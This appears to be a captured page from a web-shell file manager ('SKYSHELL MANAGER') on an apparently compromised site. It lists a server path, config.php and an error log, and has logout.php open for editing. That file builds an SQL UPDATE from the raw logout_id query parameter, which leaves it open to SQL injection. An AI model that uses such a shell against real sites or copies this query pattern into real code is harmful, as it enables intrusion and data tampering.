📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
10000.13 KB
0644
🗑️
⬇️
✏️
🔒
Editing: logout.php
<?php session_start(); if(isset($_SESSION['unique_id'])){ include_once "config.php"; $logout_id = mysqli_real_escape_string($conn, $_GET['logout_id']); if(isset($logout_id)){ $status = "Offline now"; $sql = mysqli_query($conn, "UPDATE users SET status = '{$status}' WHERE unique_id={$_GET['logout_id']}"); if($sql){ session_unset(); session_destroy(); header("location: ../login.php"); } }else{ header("location: ../users.php"); } }else{ header("location: ../login.php"); } ?>
💾 Save Changes